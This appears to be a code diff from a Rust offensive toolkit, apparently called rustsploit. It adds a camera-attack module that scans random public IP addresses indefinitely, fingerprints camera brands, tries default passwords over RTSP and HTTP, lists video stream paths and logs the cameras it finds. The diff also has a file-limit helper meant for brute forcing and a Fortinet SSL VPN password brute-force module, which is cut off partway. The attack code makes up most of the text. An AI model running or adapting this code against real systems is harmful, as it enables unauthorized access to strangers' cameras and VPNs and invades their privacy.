||||
found_brand = true;
|
||||
} else if body.contains("cp plus") || body.contains("cpplus") {
|
||||
println!("🔥 {} on port {}!", "CP Plus Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if body.contains("foscam") || headers.contains("foscam") {
|
||||
println!("🔥 {} on port {}!", "Foscam Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if body.contains("vivotek") || headers.contains("vivotek") {
|
||||
println!("🔥 {} on port {}!", "Vivotek Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !found_brand {
|
||||
println!(" {} Could not identify specific camera brand", "[-]".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// CREDENTIALS
|
||||
// =================================================================================
|
||||
|
||||
async fn test_default_passwords(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client) {
|
||||
println!("{}", "\n[🔑] Testing common credentials...".cyan());
|
||||
println!("{}", "[ℹ️] Prioritizing RTSP ports and Web ports with authentication.".yellow());
|
||||
|
||||
let all_creds_vec = get_default_credentials();
|
||||
let all_creds = all_creds_vec.as_slice();
|
||||
let mut priority_creds = Vec::new();
|
||||
|
||||
// Top priority credentials
|
||||
priority_creds.push(("admin", "admin"));
|
||||
priority_creds.push(("admin", "12345"));
|
||||
priority_creds.push(("admin", "123456"));
|
||||
priority_creds.push(("admin", ""));
|
||||
priority_creds.push(("root", "root"));
|
||||
priority_creds.push(("root", "12345"));
|
||||
priority_creds.push(("", "admin"));
|
||||
|
||||
// Test RTSP ports first
|
||||
if !rtsp_ports.is_empty() {
|
||||
println!("{}", "\n[🎯] Testing RTSP Authentication...".cyan());
|
||||
for &port in rtsp_ports {
|
||||
for &(user, pass) in &priority_creds {
|
||||
if test_rtsp_auth(target, port, user, pass).await {
|
||||
println!("🔥 {} RTSP {}:{} @ rtsp://{}:{}/",
|
||||
"SUCCESS!".bright_green().bold(),
|
||||
user,
|
||||
if pass.is_empty() { "<empty>" } else { pass },
|
||||
target,
|
||||
port
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Test HTTP/HTTPS ports
|
||||
println!("{}", "\n[🎯] Testing HTTP Basic Auth...".cyan());
|
||||
for &port in open_ports {
|
||||
if rtsp_ports.contains(&port) {
|
||||
continue; // Already tested
|
||||
}
|
||||
|
||||
let protocol = get_protocol(port);
|
||||
let url = format!("{}://{}:{}", protocol, target, port);
|
||||
|
||||
// First check if auth is required
|
||||
if let Ok(resp) = client.get(&url).send().await {
|
||||
if resp.status() == reqwest::StatusCode::UNAUTHORIZED {
|
||||
// Try credentials
|
||||
// First try priority creds
|
||||
let mut tested = HashSet::new();
|
||||
for &(user, pass) in &priority_creds {
|
||||
tested.insert((user, pass));
|
||||
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await {
|
||||
if resp.status().is_success() {
|
||||
println!("🔥 {} HTTP Basic {}:{} @ {}",
|
||||
"SUCCESS!".bright_green().bold(),
|
||||
user,
|
||||
if pass.is_empty() { "<empty>" } else { pass },
|
||||
url
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Then try remaining creds from the full list
|
||||
for &(user, pass) in all_creds {
|
||||
if tested.contains(&(user, pass)) { continue; }
|
||||
|
||||
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await {
|
||||
if resp.status().is_success() {
|
||||
println!("🔥 {} HTTP Basic {}:{} @ {}",
|
||||
"SUCCESS!".bright_green().bold(),
|
||||
user,
|
||||
if pass.is_empty() { "<empty>" } else { pass },
|
||||
url
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn test_rtsp_auth(target: &str, port: u16, user: &str, pass: &str) -> bool {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(2), TcpStream::connect(&addr)).await {
|
||||
let auth_str = BASE64_STANDARD.encode(format!("{}:{}", user, pass));
|
||||
let request = format!(
|
||||
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nAuthorization: Basic {}\r\nCSeq: 1\r\n\r\n",
|
||||
target, port, auth_str
|
||||
);
|
||||
if stream.write_all(request.as_bytes()).await.is_ok() {
|
||||
let mut buffer = [0u8; 2048];
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buffer)).await {
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
if response.contains("RTSP/1.0 200 OK") {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// STREAM DETECTION
|
||||
// =================================================================================
|
||||
|
||||
async fn detect_live_streams(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client) {
|
||||
println!("{}", "\n[🎥] Detecting Live Streams...".cyan());
|
||||
|
||||
// Show RTSP links
|
||||
if !rtsp_ports.is_empty() {
|
||||
println!("{}", "\n[🎯] RTSP Ports Found - Potential RTSP URLs:".bright_cyan());
|
||||
let common_paths = [
|
||||
"/",
|
||||
"/live.sdp",
|
||||
"/h264.sdp",
|
||||
"/stream1",
|
||||
"/Streaming/Channels/1",
|
||||
"/Streaming/Channels/101",
|
||||
"/cam/realmonitor",
|
||||
"/live/ch00_0",
|
||||
"/livestream",
|
||||
"/axis-media/media.amp"
|
||||
];
|
||||
|
||||
for &port in rtsp_ports {
|
||||
for path in common_paths {
|
||||
println!(" 🎥 RTSP: rtsp://{}:{}{}", target, port, path);
|
||||
}
|
||||
}
|
||||
println!("{}", " 💡 Tip: Use VLC Media Player (Media -> Open Network Stream) to test these URLs".yellow());
|
||||
}
|
||||
|
||||
// Check HTTP streams on open ports
|
||||
println!("{}", "\n[🔍] Checking HTTP/HTTPS Streams...".cyan());
|
||||
let stream_paths = [
|
||||
"/video",
|
||||
"/stream",
|
||||
"/live",
|
||||
"/mjpg/video.mjpg",
|
||||
"/snapshot.jpg",
|
||||
"/videostream.cgi",
|
||||
"/video.cgi",
|
||||
"/image.jpg",
|
||||
"/cgi-bin/mjpeg",
|
||||
"/axis-cgi/mjpg/video.cgi"
|
||||
];
|
||||
|
||||
let mut found_streams = false;
|
||||
|
||||
for &port in open_ports {
|
||||
let protocol = get_protocol(port);
|
||||
for path in stream_paths {
|
||||
let url = format!("{}://{}:{}{}", protocol, target, port, path);
|
||||
// Use head first
|
||||
if let Ok(resp) = client.head(&url).send().await {
|
||||
let status = resp.status();
|
||||
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED {
|
||||
let ct = resp.headers().get("content-type")
|
||||
.and_then(|h| h.to_str().ok())
|
||||
.unwrap_or("");
|
||||
|
||||
if ct.contains("video") || ct.contains("stream") || ct.contains("image") || ct.contains("mjpeg") {
|
||||
println!(" ✅ Potential Stream: {} (Type: {})", url, ct);
|
||||
found_streams = true;
|
||||
} else if status == reqwest::StatusCode::UNAUTHORIZED {
|
||||
println!(" ⚠️ Protected Stream: {} (Auth Required)", url);
|
||||
found_streams = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !found_streams && rtsp_ports.is_empty() {
|
||||
println!(" {} No live streams detected", "[-]".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
// =================================================================================
|
||||
// HELPER FUNCTIONS
|
||||
// =================================================================================
|
||||
|
||||
fn get_default_credentials() -> Vec<(&'static str, &'static str)> {
|
||||
DEFAULT_CREDENTIALS.to_vec()
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// MASS SCAN FUNCTIONS
|
||||
// =================================================================================
|
||||
|
||||
/// Build parsed exclusion list from EXCLUDED_RANGES
|
||||
fn build_exclusion_list() -> Vec<ipnetwork::IpNetwork> {
|
||||
EXCLUDED_RANGES.iter()
|
||||
.filter_map(|cidr| cidr.parse::<ipnetwork::IpNetwork>().ok())
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Generate a random public IP, excluding reserved/bogon ranges
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> Ipv4Addr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let ip = Ipv4Addr::from(rng.random::<u32>());
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if all open ports are in the ignored services list (SSH/Telnet/RDP)
|
||||
/// Returns true if the host should be skipped (only non-camera services found)
|
||||
fn is_only_ignored_services(open_ports: &[u16]) -> bool {
|
||||
if open_ports.is_empty() {
|
||||
return true;
|
||||
}
|
||||
open_ports.iter().all(|p| IGNORED_SERVICE_PORTS.contains(p))
|
||||
}
|
||||
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
println!("{}", "=== MASS SCAN MODE ACTIVATED ===".red().bold().blink());
|
||||
println!("{}", "WARNING: This will scan random IP addresses indefinitely.".yellow());
|
||||
println!("{}", "[*] Excluded ranges: bogons, private, reserved, documentation, public DNS".cyan());
|
||||
println!("{}", "[*] Service filter: hosts with only SSH/Telnet/RDP will be skipped".cyan());
|
||||
println!();
|
||||
|
||||
// Build exclusion list
|
||||
let exclusions = build_exclusion_list();
|
||||
println!("{}", format!("[+] Loaded {} IP exclusion ranges", exclusions.len()).green());
|
||||
|
||||
// Prompt for thread count
|
||||
let thread_count = crate::utils::prompt_int("Threads", 200)? as usize;
|
||||
|
||||
// Prompt for output file
|
||||
let output_file = crate::utils::prompt_default(
|
||||
"Output file for discovered cameras",
|
||||
"camxploit_results.txt",
|
||||
)?;
|
||||
|
||||
println!("{}", format!(
|
||||
"[*] Starting mass scan with {} threads... Press Ctrl+C to stop.",
|
||||
thread_count
|
||||
).cyan());
|
||||
println!();
|
||||
|
||||
let exclusions = Arc::new(exclusions);
|
||||
let scanned_count = Arc::new(AtomicU64::new(0));
|
||||
let found_count = Arc::new(AtomicU64::new(0));
|
||||
let skipped_service_count = Arc::new(AtomicU64::new(0));
|
||||
let semaphore = Arc::new(Semaphore::new(thread_count));
|
||||
let output_file = Arc::new(output_file);
|
||||
|
||||
// Progress reporter task (time-based, every 10 seconds)
|
||||
{
|
||||
let scanned = scanned_count.clone();
|
||||
let found = found_count.clone();
|
||||
let skipped = skipped_service_count.clone();
|
||||
let start_time = Instant::now();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
let total = scanned.load(Ordering::Relaxed);
|
||||
let elapsed = start_time.elapsed().as_secs().max(1);
|
||||
let rate = total / elapsed;
|
||||
println!(
|
||||
"[*] Progress: {} scanned | {} cameras found | {} skipped (non-camera) | {} IPs/sec",
|
||||
total,
|
||||
found.load(Ordering::Relaxed),
|
||||
skipped.load(Ordering::Relaxed),
|
||||
rate
|
||||
);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Infinite parallel scan loop
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await
|
||||
.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let scanned = scanned_count.clone();
|
||||
let found = found_count.clone();
|
||||
let skipped = skipped_service_count.clone();
|
||||
let outfile = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let target = ip.to_string();
|
||||
|
||||
// Parallel port scan
|
||||
let (open_ports, rtsp_ports) = check_ports(&target).await;
|
||||
scanned.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
if open_ports.is_empty() {
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
// Service filter: skip if only SSH/Telnet/RDP are open
|
||||
if is_only_ignored_services(&open_ports) {
|
||||
skipped.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"\n[+] Target: {} - {} open ports (camera-relevant): {:?}",
|
||||
target,
|
||||
open_ports.len(),
|
||||
open_ports
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
|
||||
let client = match create_client() {
|
||||
Ok(c) => c,
|
||||
Err(e) => {
|
||||
eprintln!("Failed to create client: {}", e);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
// Camera detection & fingerprinting
|
||||
let is_camera = check_if_camera(&target, &open_ports, &client).await;
|
||||
check_login_pages(&target, &open_ports, &client).await;
|
||||
fingerprint_camera(&target, &open_ports, &client).await;
|
||||
|
||||
// Credential testing
|
||||
test_default_passwords(&target, &open_ports, &rtsp_ports, &client).await;
|
||||
|
||||
// Stream detection
|
||||
detect_live_streams(&target, &open_ports, &rtsp_ports, &client).await;
|
||||
|
||||
// Record discovered camera
|
||||
if is_camera || !rtsp_ports.is_empty() {
|
||||
found.fetch_add(1, Ordering::Relaxed);
|
||||
// Save to output file
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(outfile.as_str())
|
||||
{
|
||||
use std::io::Write;
|
||||
let _ = writeln!(
|
||||
file,
|
||||
"CAMERA: {} | ports: {:?} | rtsp: {:?}",
|
||||
target, open_ports, rtsp_ports
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod camxploit;
|
||||
@@ -1,41 +1,140 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use std::process::Command;
|
||||
use colored::*;
|
||||
use libc::{rlimit, setrlimit, getrlimit, RLIMIT_NOFILE};
|
||||
|
||||
const TARGET_FILE_LIMIT: u64 = 65535;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ System Ulimit Configuration Utility ║".cyan());
|
||||
println!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Module entry point for raising ulimit
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// Target parameter is part of standard module interface
|
||||
// For ulimit operations, target is informational only
|
||||
if !target.is_empty() {
|
||||
println!("{}", format!("[*] Target context: {}", target).dimmed());
|
||||
}
|
||||
raise_ulimit().await
|
||||
}
|
||||
|
||||
/// Raise ulimit to 65535
|
||||
async fn raise_ulimit() -> Result<()> {
|
||||
println!("[*] Attempting to raise open file limit (ulimit -n 65535)");
|
||||
|
||||
// Try to set limit using bash
|
||||
let output = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg("ulimit -n 65535")
|
||||
.output()
|
||||
.map_err(|e| anyhow!("Failed to run bash: {}", e))?;
|
||||
|
||||
if !output.status.success() {
|
||||
println!("[-] Warning: Could not change ulimit. (maybe run as root?)");
|
||||
} else {
|
||||
println!("[+] Successfully ran ulimit -n 65535.");
|
||||
/// Get current resource limits
|
||||
fn get_current_limits() -> Result<(u64, u64)> {
|
||||
let mut rlim = rlimit {
|
||||
rlim_cur: 0,
|
||||
rlim_max: 0,
|
||||
};
|
||||
|
||||
let result = unsafe { getrlimit(RLIMIT_NOFILE, &mut rlim) };
|
||||
if result != 0 {
|
||||
return Err(anyhow!("Failed to get current limits: {}", std::io::Error::last_os_error()));
|
||||
}
|
||||
|
||||
Ok((rlim.rlim_cur, rlim.rlim_max))
|
||||
}
|
||||
|
||||
// Check current limit
|
||||
let check_output = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg("ulimit -n")
|
||||
.output()
|
||||
.map_err(|e| anyhow!("Failed to check ulimit: {}", e))?;
|
||||
|
||||
if check_output.status.success() {
|
||||
let limit = String::from_utf8_lossy(&check_output.stdout);
|
||||
println!("[+] Current open file limit: {}", limit.trim());
|
||||
} else {
|
||||
println!("[-] Warning: Could not verify new ulimit.");
|
||||
/// Set resource limits directly in the current process
|
||||
fn set_file_limit(soft: u64, hard: u64) -> Result<()> {
|
||||
let rlim = rlimit {
|
||||
rlim_cur: soft,
|
||||
rlim_max: hard,
|
||||
};
|
||||
|
||||
let result = unsafe { setrlimit(RLIMIT_NOFILE, &rlim) };
|
||||
if result != 0 {
|
||||
return Err(anyhow!("Failed to set limits: {}", std::io::Error::last_os_error()));
|
||||
}
|
||||
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Raise ulimit to 65535 using setrlimit syscall (actually works for current process)
|
||||
async fn raise_ulimit() -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Get current limits
|
||||
let (current_soft, current_hard) = match get_current_limits() {
|
||||
Ok(limits) => limits,
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to get current limits: {}", e).red());
|
||||
(0, 0)
|
||||
}
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan());
|
||||
|
||||
if current_soft >= TARGET_FILE_LIMIT {
|
||||
println!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan());
|
||||
|
||||
// Determine the target limits
|
||||
let target_hard = if current_hard >= TARGET_FILE_LIMIT {
|
||||
current_hard
|
||||
} else {
|
||||
TARGET_FILE_LIMIT
|
||||
};
|
||||
|
||||
let target_soft = TARGET_FILE_LIMIT.min(target_hard);
|
||||
|
||||
// Try to set the limit using setrlimit syscall (works for current process)
|
||||
match set_file_limit(target_soft, target_hard) {
|
||||
Ok(()) => {
|
||||
println!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold());
|
||||
}
|
||||
Err(e) => {
|
||||
// If we can't raise hard limit, try just raising soft to current hard
|
||||
println!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow());
|
||||
|
||||
if current_hard > current_soft {
|
||||
println!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan());
|
||||
match set_file_limit(current_hard, current_hard) {
|
||||
Ok(()) => {
|
||||
println!("{}", format!("[+] Raised soft limit to {}", current_hard).green());
|
||||
}
|
||||
Err(e2) => {
|
||||
println!("{}", format!("[-] Could not raise soft limit: {}", e2).red());
|
||||
println!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[!] Hard limit is the same as soft limit.".yellow());
|
||||
println!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Verify the new limits
|
||||
match get_current_limits() {
|
||||
Ok((new_soft, new_hard)) => {
|
||||
println!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan());
|
||||
if new_soft >= TARGET_FILE_LIMIT {
|
||||
println!("{}", "[+] File descriptor limit successfully raised!".green().bold());
|
||||
} else if new_soft > current_soft {
|
||||
println!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green());
|
||||
} else {
|
||||
println!("{}", "[-] Limit unchanged.".yellow());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Could not verify new limits: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// Also show shell instructions for reference
|
||||
println!();
|
||||
println!("{}", "=== Shell Instructions ===".bold());
|
||||
println!("{}", "To raise limits in your shell before running rustsploit:".dimmed());
|
||||
println!("{}", " ulimit -n 65535".white());
|
||||
println!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed());
|
||||
println!("{}", " * soft nofile 65535".white());
|
||||
println!("{}", " * hard nofile 65535".white());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,461 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use reqwest::{ClientBuilder, redirect::Policy};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::Write,
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, timeout},
|
||||
};
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_default, prompt_int_range,
|
||||
load_lines, prompt_existing_file, normalize_target,
|
||||
get_filename_in_current_dir, prompt_port,
|
||||
};
|
||||
use regex::Regex;
|
||||
use once_cell::sync::Lazy;
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Fortinet SSL VPN Brute Force Module ║".cyan());
|
||||
println!("{}", "║ FortiGate Web Login Credential Testing ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// Check for API-provided config
|
||||
let config_api = crate::config::get_module_config();
|
||||
let api_mode = config_api.is_api_mode();
|
||||
|
||||
let port: u16 = if let Some(p) = config_api.port {
|
||||
p
|
||||
} else if api_mode {
|
||||
443
|
||||
} else {
|
||||
prompt_port("Fortinet VPN Port", 443)?
|
||||
};
|
||||
|
||||
let usernames_file_path = if let Some(ref f) = config_api.username_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Username wordlist not found: {}", f));
|
||||
}
|
||||
f.clone()
|
||||
} else if api_mode {
|
||||
return Err(anyhow!("Username wordlist required for API mode"));
|
||||
} else {
|
||||
prompt_existing_file("Username wordlist path")?
|
||||
};
|
||||
|
||||
let passwords_file_path = if let Some(ref f) = config_api.password_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Password wordlist not found: {}", f));
|
||||
}
|
||||
f.clone()
|
||||
} else if api_mode {
|
||||
return Err(anyhow!("Password wordlist required for API mode"));
|
||||
} else {
|
||||
prompt_existing_file("Password wordlist path")?
|
||||
};
|
||||
|
||||
let concurrency = config_api.concurrency.unwrap_or_else(|| {
|
||||
if api_mode { 10 } else { prompt_int_range("Max concurrent tasks", 10, 1, 10000).unwrap_or(10) as usize }
|
||||
});
|
||||
let timeout_secs = if api_mode { 10 } else {
|
||||
prompt_int_range("Connection timeout (seconds)", 10, 1, 300).unwrap_or(10) as u64
|
||||
};
|
||||
|
||||
let stop_on_success = config_api.stop_on_success.unwrap_or_else(|| {
|
||||
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
|
||||
});
|
||||
let _save_results = if api_mode { true } else { prompt_yes_no("Save results to file?", true)? };
|
||||
let save_path = if _save_results {
|
||||
Some(config_api.output_file.clone().unwrap_or_else(|| {
|
||||
if api_mode { "fortinet_results.txt".to_string() } else { prompt_default("Output file name", "fortinet_results.txt").unwrap_or_else(|_| "fortinet_results.txt".to_string()) }
|
||||
}))
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = config_api.verbose.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
|
||||
});
|
||||
let combo_mode = config_api.combo_mode.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Combination mode? (try every password with every user)", false).unwrap_or(false) }
|
||||
});
|
||||
|
||||
// Optional prompts - skip in API mode
|
||||
let trusted_cert = if api_mode {
|
||||
None
|
||||
} else {
|
||||
let trusted_cert_str = prompt_default("Trusted certificate SHA256 (optional, press Enter to skip)", "")?;
|
||||
if trusted_cert_str.is_empty() { None } else { Some(trusted_cert_str) }
|
||||
};
|
||||
|
||||
let realm = if api_mode {
|
||||
None
|
||||
} else {
|
||||
let realm_str = prompt_default("Authentication realm (optional)", "")?;
|
||||
if realm_str.is_empty() { None } else { Some(realm_str) }
|
||||
};
|
||||
|
||||
let base_url = build_fortinet_url(target, port)?;
|
||||
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", base_url);
|
||||
println!("[*] Timeout: {} seconds", timeout_secs);
|
||||
|
||||
let users = load_lines(&usernames_file_path)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} usernames", users.len());
|
||||
|
||||
let passwords = load_lines(&passwords_file_path)?;
|
||||
if passwords.is_empty() {
|
||||
println!("[!] Password wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} passwords", passwords.len());
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
println!("[*] Testing {} credential combinations", if combo_mode { users.len() * passwords.len() } else { std::cmp::max(users.len(), passwords.len()) });
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
// Work generation
|
||||
if combo_mode {
|
||||
for user in &users {
|
||||
for pass in &passwords {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
|
||||
|
||||
spawn_fortinet_task(
|
||||
&mut tasks, &semaphore,
|
||||
user.clone(), pass.clone(),
|
||||
base_url.clone(), realm.clone(), trusted_cert.clone(),
|
||||
found_credentials.clone(), stop_signal.clone(), stats.clone(),
|
||||
verbose, stop_on_success, timeout_duration
|
||||
).await;
|
||||
}
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
|
||||
}
|
||||
} else {
|
||||
let max_len = std::cmp::max(users.len(), passwords.len());
|
||||
for i in 0..max_len {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
|
||||
let user = &users[i % users.len()];
|
||||
let pass = &passwords[i % passwords.len()];
|
||||
|
||||
spawn_fortinet_task(
|
||||
&mut tasks, &semaphore,
|
||||
user.clone(), pass.clone(),
|
||||
base_url.clone(), realm.clone(), trusted_cert.clone(),
|
||||
found_credentials.clone(), stop_signal.clone(), stats.clone(),
|
||||
verbose, stop_on_success, timeout_duration
|
||||
).await;
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for tasks
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
stats.record_error(format!("Task panic: {}", e)).await;
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (url, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", url, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
if let Ok(mut file) = File::create(&filename) {
|
||||
for (url, user, pass) in creds.iter() {
|
||||
let _ = writeln!(file, "{} -> {}:{}", url, user, pass);
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn spawn_fortinet_task(
|
||||
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
|
||||
semaphore: &Arc<Semaphore>,
|
||||
user: String,
|
||||
pass: String,
|
||||
base_url: String,
|
||||
realm: Option<String>,
|
||||
trusted_cert: Option<String>,
|
||||
found: Arc<Mutex<Vec<(String, String, String)>>>,
|
||||
stop_signal: Arc<AtomicBool>,
|
||||
stats: Arc<BruteforceStats>,
|
||||
verbose: bool,
|
||||
stop_on_success: bool,
|
||||
timeout: Duration
|
||||
) {
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return, // Semaphore closed, stop processing
|
||||
};
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) { return; }
|
||||
|
||||
match try_fortinet_login(&base_url, &user, &pass, &realm, &trusted_cert, timeout).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", base_url, user, pass).green().bold());
|
||||
found.lock().await.push((base_url.clone(), user.clone(), pass.clone()));
|
||||
stats.record_success();
|
||||
if stop_on_success {
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
